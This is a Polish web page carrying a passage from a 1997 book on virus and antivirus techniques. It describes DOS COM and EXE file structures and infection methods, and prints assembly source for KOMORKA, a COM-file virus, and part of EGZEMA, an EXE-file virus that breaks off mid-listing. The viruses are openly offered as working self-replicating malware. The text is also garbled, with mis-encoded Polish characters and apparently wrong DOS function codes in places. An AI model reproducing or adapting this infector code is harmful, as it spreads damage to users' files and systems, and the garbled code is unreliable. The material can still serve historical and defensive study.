CATEGORII DOCUMENTE |
Bulgara | Ceha slovaca | Croata | Engleza | Estona | Finlandeza | Franceza |
Germana | Italiana | Letona | Lituaniana | Maghiara | Olandeza | Poloneza |
Sarba | Slovena | Spaniola | Suedeza | Turca | Ucraineana |
DOCUMENTE SIMILARE |
|
Obiekty atakowane przez wirusy
4.1. Pliki
Jednà z najczæúciej wykorzystywanych dróg, jakà przenoszà siæ wirusy. sà pliki. Na samym poczàtku byùy to tylko pliki wykonywalne COM, a potem EXE. Z czasem jednak liczba róýnorodnych plików branych pod uwagæ przez twórców wirusów wzrosùa. Moýna powiedzieã, iý w krægu zainteresowañ ludzi piszàcych wirusy sà wszystkie pliki, które posiadajà w swym wnætrzu struktury zawierajàce instrukcje sterujàce oraz funkcje operujàce na plikach i/lub sektorach. Mogà to wiæc byã pliki wykonywalne (COM, EXE), wsadowe (BAT), pliki zawierajàce sterowniki (SYS, BIN, DRV), pliki z moduùami wykonywalnymi (OBJ, LIB, DLL, OV?, BGI, TPU, 386, VXD i inne), a takýe pliki programów, udostæpniajàce uýytkownikom definiowanie makr (DOC, XLS, SAM). Spotykane sà takýe wirusy nietypowe, np. atakujàce programy napisane w asembùerze (ASM). Rodzaj pliku rozstrzygany jest najczæúciej na podstawie jego wewnætrznej budowy, tak wiæc w wiækszoúci przypadków zmiana rozszerzenia pliku nie pozwala na uchronienie go przed infekcjà. Wewnætrzna struktura najczæúciej zaraýanych plików oraz sposoby ich infekcji omówione zostaùy poniýej. W rozdziale opisujàcym infekcjæ plików COM zawarto dodatkowo informacje na temat struktur tworzonych przez DOS podczas uruchamiania programów (blok wstæpny programu, otoczenie programu).
4.1.1. Pliki wykonywalne COM
Ze wzglædu na swà prostà budowæ programy typu COM od poczàtku stanowiùy smakowity kàsek dla twórców wirusów. Zawierajà one kod programu w tzw. postaci absolutnej, dlatego teý ich ùadowanie do pamiæci polega na wczytaniu zawartoúci pliku pod adres znajdujàcy siæ bezpoúrednio po tworzonym dla kaýdego procesu bloku wstæpnym PSP i wykonaniu dalekiego skoku na poczàtek programu,
a wiæc ich obraz w pamiæci jest wiernà kopià zawartoúci pliku. Wyglàd programu COM po zaùadowaniu do pamiæci przedstawia poniýsza tabela.
Wyglàd programu COM po zaùadowaniu do pamiæci:
Adres (wzglædem segmentu), do którego zostaù zaùadowany plik COM |
Zawartoúã pamiæci |
CS:0000-CS:0100 |
Blok wstæpny PSP (patrz nastæpna tabela) |
CS:0000-CS:???? |
Kod programu zaùadowany z pliku |
Format bloku wstæpnego programu PSP
Adres w pamiæci |
Zawartoúã |
Kod rozkazu int 21 h (CD 21) |
|
Adres segmentu pamiæci niedostæpnej dla programu |
|
Nie uýywane przez DOS, uýywane wewnætrznie przez OS/2 |
|
Dalekie odwoùanie do systemu DOS (rozkaz wywoùania dalekiej procedury) |
|
Rozmiar dostæpnej pamiæci w segmencie |
|
0A-0D |
Zapamiætywany adres zakoñczenia programu (int 22h) |
0E-11 |
Adres programu obsùugi CTRL-BREAK (int 23h) |
Adres programu obsùugi bùædów krytycznych (int 24h) |
|
Adres do segmentu pamiæci, gdzie znajduje siæ blok PSP programu rodzicielskiego (interpretator poleceñ modyfikuje to pole i wstawia tam adres swojego PSP) |
|
18-2B |
Tablica plików obsùugiwanych przez proces JFT (ang. Job File Table); kaýdy element tablicy zawiera indeks wskazujàcy na element SFT (ang. System File Table) opisujàcy wszystkie otwarte w systemie pliki lub teý wartoúã FF, jeýeli element nie jest uýywany |
2C-2D |
Adres segmentu pamiæci, w którym znajduje siæ otoczenie programu, zawierajàce definicje zmiennych úrodowiskowych systemu DOS, takich jak PATH, PROMPT Ud. Kaýdy element otoczenia oddzielany jest znakiem NUL (kod 00); funkcja 4B rozszerza otoczenie programu poprzez dodanie jednego sùowa okreúlajàcego iloúã dodatkowych ùañcuchów ASCIIZ (zwykle 0001), a nastæpnie umieszcza dalej nazwæ uruchamianego programu. Umoýliwia to procesowi dotarcie do pliku na dysku zawierajàcego kod uruchomionego programu - jest to parametr paramstr(0) w Pascalu i argv[0] w C. |
2E-31 |
Zapamiætane wartoúci SS:SP (uýywane podczas wywoùywania funkcji DOS) aktualnego procesu; DOS zapamiætuje je przed przeùàczeniem siæ na wùasny stos |
Liczba elementów tablicy JFT (standardowo =20) |
|
Daleki wskaênik do tablicy plików JFT (standardowo CS:18) umoýliwia rozszerzenie iloúci plików wykorzystywanych przez proces |
|
38-3B |
Daleki wskaênik do poprzedniego bloku wstæpnego PSP |
3C-4F |
Pola wykorzystywane wewnætrznie przez róýne systemy operacyjne |
Kod rozkazów: INT 21 h RETF |
|
Nie uýywane |
|
55-5B |
Nie uýywane, moýna uýyã, aby zmieniã standardowy blok FCB na rozszerzony blok FCB |
5C-6B |
Standardowy blok opisu pliku FCB1 |
6C-7B |
Standardowy blok opisu pliku FCB2 |
7C-7F |
Nie uýywane |
80-FF |
Bufor transmisji dyskowych DTA. Bezpoúrednio po uruchomieniu programu zawiera jego wiersz wejúciowy, zawierajàcy parametry podane z linii poleceñ, zakoñczony znakiem CR (0D). Bajt pod adresem 80 okreúla dùugoúã wiersza wejúciowego nie uwzglædniajàc znaku CR. |
Przekazujàc sterowanie do programu COM system DOS inicjuje kilka rejestrów ustalonymi wartoúciami. Rejestry segmentowe CS, DS, SS, ES wskazujà na adres bloku PSP programu, IP=100h, SP wskazuje na koniec pamiæci dostæpnej w segmencie (zwykle FFFE), na stosie umieszczana jest wartoúã 0000.
Sposób infekcji plików COM jest bardzo prosty. Na koñcu zaraýanego pliku naleýy dopisaã kod wirusa, a na poczàtku pliku, po uprzednim zapamiætaniu oryginalnych bajtów, umieúciã rozkaz przenoszàcy sterowanie do wirusa (najczæúciej jest to 3-bajtowy rozkaz JMP NEAR, posiadajàcy kod maszynowy OE9h 00 00, gdzie 00 00 jest wartoúcià dodawanà do wskaênika instrukcji IP po wykonaniu rozkazu). Po uruchomieniu sterowanie zostaje przekazane najpierw do wirusa, a ten z kolei, po wykonaniu odpowiednich czynnoúci, przywraca poczàtkowe bajty programu i wykonuje skok pod adres CS:0100h.
Nie jest to jedyna metoda zaraýania plików COM. Niektóre wirusy przesuwajà w pliku kod oryginalnego programu, a w tak powstaùe miejsce wpisujà swój kod. Ze wzglædu na wiækszà iloúã operacji, jakie muszà wykonaã, aby zainfekowaã plik, sà doúã ùatwo wykrywane, gdyý znaczàco opóêniajà wykonanie oryginalnych programów.
Jeszcze inna metoda polega na umieszczeniu kodu wirusa w dowolnym miejscu infekowanego pliku, jednak ze wzglædu na trudnoúci implementacyjne jest ona rzadko stosowana.
Infekujàc pliki COM naleýy pamiætaã, iý programy tego typu mogà mieã dùugoúã nie wiækszà niý 64kB-100h-2 bajty. Odejmowana wartoúã 100h jest dùugoúcià bloku PSP, tworzonego na poczàtku segmentu, do którego ùadowany jest program., a wartoúã 2 wynika z faktu umieszczenia przed startem programu wartoúci 0000h na stosie. Po wczytaniu programu przez DOS wskaênik stosu (SP) programu ustawiany jest na koñcu segmentu, do którego zostaù on zaùadowany, stàd teý za maksymalnà dùugoúã, której nie moýe przekroczyã plik, naleýy przyjàã wartoúã mniejszà od 65278, np. 65000 bajtów lub nawet mniej. Nieuwzglædnienie powyýszego faktu spowoduje, iý po zaùadowaniu zbyt dùugiego pliku COM niszczona bædzie czæúã programu znajdujàca siæ przy koñcu segmentu (przez wartoúci zapisywane na stosie).
W tablicach poniýej przedstawiono wyglàd programu COM przed i po zaraýeniu wirusem.
Struktura niezainfekowanego pliku COM
Zawartoúã pliku |
Kod programu w tzw. postaci absolutnej |
Struktura zainfekowanego pliku COM - wirus dopisuje siæ na koñcu pliku
Zawartoúã pliku |
Rozkaz skoku do wirusa (najczæúciej jest to rozkaz o kodzie OE9h 00 00, czyli JMP NEAR) Kod zainfekowanego programu Kod wirusa wraz z zapamiætanymi bajtami poczàtkowymi |
Struktura zainfekowanego pliku COM -wirus przesuwa kod oryginalnego programu
Zawartoúã pliku |
Kod wirusa Przesuniæty kod zainfekowanego programu Poniýej przedstawiono przykùad prostego, nierezydentncgo wirusa infekujàcego pliki COM. |
;
Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;
;
KOMORKA v1.0, Autor : Adam Blaszczyk 1997 ;
;
Prosty wirus nierezydentny plikow COM ;
Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
znajdujace sie w biezacym katalogu ;
;
; Kompilacja : ;
TASM KOMORKA.ASM ;
TLINK /t KOMORKA.OBJ ;
;
KOMORKA SEGMENT
JUMPS
ASSUME CS:KOMORKA, DS:KOMORKA
ORG 100h
NUL = 00h ;
LF = 0Ah ; stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /
AtrReadOnly = 00000001b ;
AtrHidden = 00000010b ;
AtrSystem = 00000100b ; rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID
; atrybut poszukiwanej pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa
VRok = 1998 ; data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends
Start: ; tu zaczyna sie program ofiary
db 0E9h,00h,00h ; symuluj rozkaz JMP NEAR
; bedacy czescia zarazonego
; programu
VirusStart: ; tu zaczyna sie kod wirusa
mov si,word ptr ds:[101h] ; pobierz relatywny ofset do miejsca
; w pamieci, gdzie znajduje sie wirus
; wartosc ta to czesc rozkazu JMP NEAR
; na poczatku, przy pierwszym wywolaniu
; =0000h
mov al,byte ptr ds:[si+StareBajty] ; Przywroc zapamietane 3 bajty
mov ds:[100h],al ; na poczatek programu CS:100h
mov ax,word ptr ds:[si+StareBajty+1] ; / Podczas pierwszego uruchomienia
mov ds:[101h],ax ; / jest to kod Int 20h
lea dx,[si][TeInformacja] ; podaj gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa
jnc Infekcja ; CF=1 oznacza nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
lea dx,[si][MaskaCOM] ; maska poszukiwanych plikow '*.COM'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycii
mov ah,4Bh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc NieMaPlikuCOM ; gdy CF=1, to blad
KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepnego
mov ax,word ptr [si][NoweDTA.DTASize+2]
; pobierz starsza czesc dlugosci
; pliku
or ax,ax ; czy plik krotszy niz 65536
jnz SzukajNastepnyPlik ; nie - szukaj nastepnego
mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku
cmp ax,64000 ; czy dlugosc <= 64000
ja SzukajNastepnyPlik ; nie - szukaj nastepnego
cmp ax,3 ; czy dlugosc >= 3
jb SzukajNastepnyPlik ; nie - szukaj nastepnego
sub ax,3 ; odejmij dlugosc skoku E9 ?? ??
mov word ptr [si][Skok+1],ax ; zapisz do bufora rozkaz skoku
mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1 to blad
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov cx,3 ; ilosc czytanych bajtow
lea dx,[si+StareBajty] ; podaj dokad czytac 3 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [si+StareBajty] ; wez dwa pierwsze bajty pliku
cmp ax,'MZ' ; i sprawdz czy to nie EXE
je ZamknijPlik ; gdy 'MZ', to plik EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy 'ZM', to plik EXE, powrot
xor cx,cx ; zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,VirusDlug ; ilosc zapisanych bajtow
lea dx,[si+103h] ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,3 ; ilosc zapisanych bajtow
lea dx,[si][Skok] ; podaj skad zapisac rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date,czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS
PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut, CH=0
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h
SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; plik COM
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
NieMaPlikuCOM:
mov dx,80h ; przywroc pierwotne DTA=PSP:80h
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
BezInfekcji:
mov ax,100h ; skocz na poczatek programu
jmp ax ; / do ofiary
MaskaCOM db '*.COM' ; maska plikow COM (ASCIIZ)
StareBajty db 0CDh,20h,90h ; bufor zawiera zapamietane bajty
; z poczatku programu
; tu : kod rozkazu int 20h/NOP
Skok db 0E9h,?,? ; rozkaz skoku
; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje DOS
mov ah,01h ; funkcja DOS - czytaj znak
; ze standardowego wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile znak
mov ax,0E0Dh ; przejdz
int 10h ; do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii
pop ax ; przywroc znak
and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
ret ; powrot
TeInformacja db CR,LF,'KOMORKA v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR
VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
KOMORKA ENDS
END Start
4.1.2. Pliki wykonywalne EXE
Poprzednio omówione pliki COM przewaýaùy w poczàtkowym okresie istnienia systemu DOS, lecz szybko zostaùy wyparte przez pliki EXE, które oferowaùy moýliwoúã pisania programów mieszczàcych siæ w kilku segmentach.
Zaraýanie plików EXE jest sprawà o wiele trudniejszà od infekcji plików COM ze wzglædu na ich bardziej skomplikowanà budowæ, a takýe na koniecznoúã wykrywania systemu, dla którego plik jest przeznaczony. Pliki EXE dzielà siæ bowiem na tzw. stare (ang. old executab-les) i nowe (ang. new executables). Pierwsze z nich przeznaczone sà tylko i wyùàcznie dla systemu DOS, natomiast drugie to programy dziaùajàce w úrodowiskach wykorzystujàcych tryb chroniony. Jak pokazano dalej, na podstawie danych zawartych w pliku EXE moýna wykryã system, dla którego jest on przeznaczony i w rezultacie plik taki zainfekowaã.
4.1.2.1. Pliki EXE dla systemu DOS (stare EXE)
Jak juý wspomniano, pliki COM mogùy zawieraã w swym wnætrzu tylko jeden segment, wspólny dla kodu, danych i stosu. W przeciwieñstwie do nich pliki EXE mogà zawieraã programy, których rozmiary ograniczone sà tylko przez wielkoúã dostæpnej aktualnie pamiæci operacyjnej, znajdujàcej siæ poniýej pierwszych 640kB. Najczæúciej w programach tych jest kilka segmentów kodu i danych, a takýe
osobny segment stosu. Ze wzglædu na bardziej skomplikowanà strukturæ, do zaùadowania programów EXE system DOS potrzebuje wiæcei informacji, niý w przypadku plików COM. Informacje zawarte sà w istniejàcym na poczàtku kaýdego pliku EXE nagùówku, który skùada sie z dwóch czæúci: sformatowanej i niesformatowanej. Dùugoúã sformatowanej czæúci nagùówka jest staùa i wynosi 27 bajtów, natomiast dùugoúã czæúci niesformatowanej oblicza siæ na podstawie danych zawartych w nagùówku sformatowanym. W skrajnym przypadku dùugoúã czæúci niesrormatowanej moýe byã równa O, co czæsto ma miejsce, gdy programy sà wewnætrznie skompresowane i zminimalizowane. Opis sformatowanej czæúci nagùówka podano poniýej.
Sformatowany nagùówek pliku EXE
Znacznik pliku EXE. MZ lub ZM |
|
Liczba bajtów na ostatniej, 512 bajtowej, stronie programu, W praktyce oznacza, ile bajtów system DOS musi skopiowaã z ostatniego sektora zajmowanego przez program. |
|
Dùugoúã caùego pliku EXE, podana w 512-bajtowych stronach z uwzglædnieniem nagùówka i ostatniej strony opisanej w polach 02h-03h. W praktyce oznacza iloúã sektorów zajmowanych przez program, |
|
Liczba elementów relokowalnych w programie, czyli liczba 4-bajtowych rekordów, znajdujàcych siew niesformatowanej czæúci nagùówka, opisujàcych miejsca w kodzie programu (jako segment: przesuniæcie; w kaýdym rekordzie przesuniæcie znajduje siæ przed segmentem), gdzie naleýy dodaã segment, pod który ùadowany jest program |
|
Dùugoúã nagùówka w 16-bajtowych paragrafach |
|
0A-0B |
Minimalna wymagana pamiæã poza zaùadowanym kodem programu, podana w 16-bajtowych paragrafach |
0C-0D |
Maksymalna wymagana pamiæã poza zaùadowanym kodem programu, podana w 16-bajtowych paragrafach |
0E-0F |
Poczàtkowa wartoúã rejestru segmentowego stosu (SS) wzglædem poczàtku programu. |
Poczàtkowa wartoúã wskaênika stosu (SP) |
|
Suma kontrolna (zanegowana suma wszystkich bajtów w pliku), nie uýywana przez DOS, stàd pole to moýe posùuýyã jako wskaênik zainfekowania pliku |
|
Poczàtkowa wartoúã licznika rozkazów IP |
|
Poczàtkowa wartoúã rejestru segmentu kodu CS wzglædem poczàtku programu. |
|
Adres pierwszej pozycji tablicy relokacji w stosunku do poczàtku pliku. Jeýeli pole jest równe 40h lub wiæcej, jest to prawdopodobnie nowy plik EXE |
|
1A-1B |
Numer nakùadki |
Informacje zawarte w nagùówku pliku EXE zawierajà wymagania programu dotyczàce pamiæci operacyjnej oraz ustalajà poczàtkowe wartoúci rejestrów SS i SP, odpowiedzialnych za stos, a takýe rejestrów CS i IP, wskazujàcych na pierwszà instrukcjæ programu.
Dopiero po nagùówkach pojawia siæ wùaúciwy kod programu, a za nim, na koñcu niektórych plików EXE przeznaczonych dla systemu DOS, znajduje siæ czæsto tzw. wewnætrzna nakùadka (ang. internal overlay), zawierajàca dodatkowe dane lub kod programu. Wykorzystujàc fakt, iý znakomita wiækszoúã istniejàcych wirusów nie zaraýa plików EXE z wewnætrznymi nakùadkami, moýna doúã prosto zabezpieczyã wszystkie pliki EXE na dysku przed ewentualnà infekcjà. Wystarczy na koñcu kaýdego z tych plików dopisaã jeden dowolny bajt, który przez wiækszoúã wirusów bædzie uznawany za wewnætrznà nakùadkæ.
Dopiero po odczytaniu i zinterpretowaniu danych z nagùówka system moýe przystàpiã do ùadowania wùaúciwego programu, zawartego w pliku EXE, który umieszczany jest bezpoúrednio za blokiem PSP. Z powyýszego wynika, iý w przeciwieñstwie do programu COM obraz programu EXE wyglàda inaczej w pamiæci niý na dysku
Po wczytaniu programu do wartoúci poczàtkowych rejestrów CS i SS (zawartych w nagùówku sformatowanym) dodawany jest adres segmentu, pod który zostaù on zaùadowany. Adres tego segmentu sùuýy takýe do zmodyfikowania pewnych instrukcji w programie, które sà zaleýne od jego faktycznego umiejscowienia w pamiæci operacyjnej (sà to np. rozkazy wywoùañ dalekich procedur i skoków oraz operacje na segmentach wystæpujàcych w programie). Adresy w pamiæci, które trzeba w ten sposób zmodyfikowaã, zawarte sà w tablicy relokacji.
Pierwszà czynnoúcià wykonywanà przez wirusa powinno byã odczytanie sformatowanego nagùówka pliku potencjalnej ofiary i porównanie dwóch pierwszych bajtów programu (znacznik z pola 00h-0lh) z sekwencjà 'MZ' lub 'ZM'. Jeýeli porównanie wypadùo pomyúlnie, istnieje duýa szansa, iý jest to plik typu EXE i moýna go spróbowaã zainfekowaã. Drugà czynnoúcià wykonywanà przez wirusa powinno byã sprawdzenie, czy plik EXE jest programem przeznaczonym dla systemu DOS. Na pozycji 18h-19h w nagùówku widnieje wtedy wartoúã mniejsza od 40h, w przeciwnym wypadku jest to prawdopodobnie nowy EXE. Kolejnym krokiem wykonywanym przez wirusa powinno byã sprawdzenie, czy plik EXE nie zawiera wewnætrznej nakùadki. Dokonuje siæ tego poprzez porównanie dùugoúci caùego pliku EXE (widzianej przez DOS) z dùugoúcià obliczanà na podstawie pól zawartych w nagùówku (pola 02h-03h i U4h-05h). Jeýeli wartoúci te róýnià siæ od siebie, plik zawiera nakùadkæ. Taki plik takýe moýna zainfekowaã, jednak wiàýe siæ to z koniecznoúcià przesuniæcia w nim caùej nakùadki o dùugoúã wirusa, tak aby ten mógù umieúciã swój kod bezpoúrednio za obrazem ùadowanym przez DOS do pamiæci. Podczas uruchamiania programu EXE nakùadka nie jest ùadowana do pamiæci bezpoúrednio z programem, tak wiæc gdyby wirus znajdowaù siæ w pliku bezpoúrednio za nià, takýe nie zostaùby zaùadowany i w efekcie program by siæ zawieszaù. Zaraýone programy z wewnætrznà nakùadkà czæsto nie bædà dziaùaùy poprawnie, zwùaszcza jeúli korzystajàc z nakùadki nie obliczajà adresów w pliku na bieýàco (tzn. na podstawie pól nagùówka), lecz korzystajà z wartoúci staùych. Powyýsze problemy sprawiajà, iý wiækszoúã wirusów zaprzestaje infekcji po wykryciu, iý plik EXE zawiera nakùadkæ i dziæki temu moýna zastosowaã opisanà wczeúniej sztuczkæ z 1-bajtowà pseudonakùadkà. Infekcja pliku EXE bez wewnætrznej nakùadki polega na odpowiedniej modyfikacji sformatowanej czæúci nagùówka, tak by poczàtkowe wartoúci rejestrów CS:IP (zawartych w polach 16h-17h i 14h-15h w nagùówku) wskazywaùy na wirusa, który zwykle dopisywany jest na koñcu pliku. Najczæúciej zmieniane sà takýe poczàtkowe wartoúci SS i SP (pola 10-llh i 0Eh-0Fh w nagùówku), aýeby nie okazaùo siæ, iý po uruchomieniu stos ustawiony jest na kod wirusa. Warto takýe zmodyfikowaã parametry minimalnej i maksymalnej pamiæci wymaganej przez program, tak aby uwzglædniaùy dùugoúã kodu wirusa. Prawdziwe wartoúci zmienianych parametrów trzeba wczeúniej zapamiætaã, ýeby wirus po uruchomieniu mógù przekazaã sterowanie do oryginalnego programu.
Inny sposób na przejæcie kontroli nad zainfekowanym programem po jego uruchomieniu polega na odnalezieniu w pliku zawierajàcym jego kod (np. przy pomocy ùatwo dostæpnej tablicy relokacji) wywoùañ dalekich procedur (najczæúciej bædàcych funkcjami bibliotecznymi) o 5 bajtowym kodzie 9A OO OO SS SS, gdzie SSSS:OOOO oznacza adres, pod którym znajduje siæ wywoùywana procedura (SS SS oznacza segment, a OO OO - przesuniæcie). Inicjujàc program, DOS dodaje do ustalonej, zawartej w pliku wartoúci SS SS adres, pod który zostaù zaùadowany program. Zmieniajàc w pliku wartoúã SS SS:OO OO tak, by wskazywaù on na wirusa, moýna ominàã koniecznoúã modyfikacji pól 16h-17h i 14h-15h w nagùówku i przy okazji utrudniã odnalezienie wirusa w pliku. Tego typu wirus uruchomi siæ dopiero po próbie wywoùania dalekiej procedury, co moýe zdarzyã siæ w dowolnym momencie programu (a nie od razu na poczàtku).
Typowy wyglàd starego pliku EXE przed i po infekcji przedstawiony zostaù w poniýszych tabelach.
Struktura niezainfekowanego pliku EXE
Zawartoúã pliku |
Sformatowany nagùówek pliku EXE zaczynajàcy siæ literami 'MZ' lub 'ZM' Niesformatowany nagùówek pliku EXE zawierajàcy tablicæ relokacji i ewentualnie jakieú dane, np. nazwisko autora, nazwæ programu Wùaúciwy kod programu Ewentualna nakùadka |
Struktura zainfekowanego pliku EXE
Zawartoúã pliku |
Sformatowany nagùówek pliku EXE zaczynajàcy siæ literami ‘MZ’ lub ‘ZM' z wprowadzonymi przez wirusa zmianami Niesformatowany nagùówek pliku EXE zawierajàcy tablicæ relokacji i ewentualnie jakieú dane, np. nazwisko autora, nazwæ programu Wùaúciwy kod programu Kod wirusa Ewentualna nakùadka; wystæpuje bardzo rzadko, gdyý wiækszoúã wirusów nie zaraýa plików z wewnætrznymi nakùadkami |
Ponizej przedstawiono przyklad prostego nierezydetnego wirusa infekujacego pliki EXE.
;
Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;
;
EGZEMA v1.0, Autor : Adam Blaszczyk 1997 ;
;
Prosty wirus nierezydentny plikow EXE ;
Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
znajdujace sie w biezacym katalogu ;
;
; Kompilacja : ;
TASM EGZEMA.ASM ;
TLINK EGZEMA.OBJ ;
;
EGZEMA SEGMENT
JUMPS
ASSUME CS:EGZEMA, DS:EGZEMA
NUL = 00h ;
LF = 0Ah ; stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /
AtrReadOnly = 00000001b ;
AtrHidden = 00000010b ;
AtrSystem = 00000100b ; rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrDirectory
; atrybut poszukiwanej pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa
VRok = 1998 ; data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends
VirusStart: ; tu zaczyna sie kod wirusa
Call Trik ;
Trik: ;
pop si ; / oblicz relatywny ofset
sub si,3 ; /
push cs ; DS=CS=kod wirusa
pop ds ; /
mov ax,es ; es=PSP+10h
add ax,10h ; /
add [si][StarySS],ax ;
push [si][StarySS] ; - zachowaj wartosci stosu
push [si][StarySP] ; / dla nosiciela
add ax,[si][StaryCS] ;
mov [si][SkokCS],ax ; utworz pelny rozkaz skoku
mov ax,[si][StaryIP] ; / do nosiciela
mov [si][SkokIP],ax ; /
lea dx,[si][TeInformacja] ; podaj gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa
jnc Infekcja ; CF=1 oznacza nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
lea dx,[si][MaskaEXE] ; maska poszukiwanych plikow '*.EXE'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycii
mov ah,4Eh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc BezInfekcji ; gdy CF=1, to blad
KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepny
cmp word ptr [si][NoweDTA.DTASize],26; czy dlugosc>=26 bajtow ?
jb SzukajNastepnyPlik ; nie = szukaj nastepny
mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
